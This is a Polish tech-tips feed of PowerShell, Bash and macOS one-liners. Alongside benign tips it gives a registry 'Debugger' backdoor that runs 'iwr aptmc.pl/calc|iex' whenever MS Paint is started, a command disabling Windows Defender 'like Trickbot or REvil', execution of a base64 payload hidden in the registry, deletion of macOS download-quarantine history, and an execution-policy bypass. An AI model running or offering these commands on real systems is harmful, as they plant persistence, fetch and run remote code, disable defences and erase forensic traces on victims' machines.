ALPHACON BBS

Hardware

Wykorzystując mikrokontroler ATmega32U4 łatwo zbudujemy własny pendrive-klawiaturę niczym Rubber Ducky

ATmega32U4

Czytaj całość ↵Źródło

PowerShell

(netsh wl sh net) -match "^SSID" - lista dostępnych sieci WiFi

(netsh wl sh net) -match "^SSID"

Czytaj całość ↵Źródło

Bash / Unix

Przekieruj wynik polecenia bezpośrednio do wygodnego przetwarzania w vimie

Przekieruj wynik polecenia bezpośrednio do wygodnego przetwarzania w vimie: ps uax | vim -

ps uax | vim -

Czytaj całość ↵Źródło

PowerShell

Restart-Computer - zrestartuj komputer. Po prostu.

Restart-Computer

Czytaj całość ↵Źródło

PowerShell

(iwr thehackernews.com).Links.Href | sls '/20' - pobierz linki do ostatnich artykułów na thehackernews.com

(iwr thehackernews.com).Links.Href | sls '/20'

Czytaj całość ↵Źródło

PowerShell

ni -f "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" | sp -name Debugger -Value "powershell -c iwr aptmc.pl/calc|iex #" - dodaj backdoor uruchamiany zamiast startu MS Painta

ni -f "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" | sp -name Debugger -Value "powershell -c iwr aptmc.pl/calc|iex #" - dodaj backdoor uruchamiany zamiast startu MS Painta

ni -f "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" | sp -name Debugger -Value "powershell -c iwr aptmc.pl/calc|iex #"

Czytaj całość ↵Źródło

macOS

sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'DELETE from LSQuarantineEvent' - usuń historię pobranych plików na MacOS z kwarantanny

sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'DELETE from LSQuarantineEvent'

Czytaj całość ↵Źródło

macOS

sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select DISTINCT LSQuarantineDataURLString from LSQuarantineEvent' - pokaż historię pobranych plików na MacOS

sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select DISTINCT LSQuarantineDataURLString from LSQuarantineEvent'

Czytaj całość ↵Źródło

PowerShell

filter fb64 { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)) } - przydatny filtr do dekodowania Base64

filter fb64 { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)) }

Czytaj całość ↵Źródło

Bash / Unix

ssh -t drg@host "screen -dRS foo" - i zrywane sesje SSH nie straszne

ssh -t drg@host "screen -dRS foo"

Czytaj całość ↵Źródło

macOS

cat /etc/passwd | pbcopy - wrzuć zawartość wskazanego pliku prosto do schowka

cat /etc/passwd | pbcopy

Czytaj całość ↵Źródło

PowerShell

Get-MpThreatDetection - wyświetl zidentyfikowane przez Windows Defendera zagrożenia

Get-MpThreatDetection

Czytaj całość ↵Źródło

PowerShell

Get-MpPreference - wyświetl konfigurację Windows Defendera

Get-MpPreference

Czytaj całość ↵Źródło

PowerShell

Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend - wyłącz Windows Defendera niczym Trickbot, REvil Ransomware czy inny malware

Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend - wyłącz Windows Defendera niczym Trickbot, REvil Ransomware czy inny malware

Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

Czytaj całość ↵Źródło

Bash / Unix

ping -a 10.0.0.1 - powiadom dźwiękowo, kiedy pingowany host wróci

ping -a 10.0.0.1

Czytaj całość ↵Źródło

PowerShell

powershell -w h -enc (gp HKCU:\Software\Microsoft\Windows).Signature - uruchom payload ukryty wcześniej w rejestrze, zakodowany w base64

powershell -w h -enc (gp HKCU:\Software\Microsoft\Windows).Signature

Czytaj całość ↵Źródło

PowerShell

Zmień/stwórz nową wartość w rejestrze

Zmień/stwórz nową wartość w rejestrze: sp HKCU:\Software\Microsoft\Windows Signature "YwBhAGwAYwA="

sp HKCU:\Software\Microsoft\Windows Signature "YwBhAGwAYwA="

Czytaj całość ↵Źródło

Bash / Unix

Twój oneliner jest coraz dłuższy? Użyj fc, żeby edytować poprzednie polecenie w domyślnym edytorze tekstu

fc

Czytaj całość ↵Źródło

macOS

caffeinate -i - nie pozwól, by macbook usnął

caffeinate -i

Czytaj całość ↵Źródło

PowerShell

$env:PSExecutionPolicyPreference = "Bypass" - jeden ze sposobów ominięcia Polityki Uruchamiania Skryptów (ExecutionPolicy)

$env:PSExecutionPolicyPreference = "Bypass"

Czytaj całość ↵Źródło

Protipy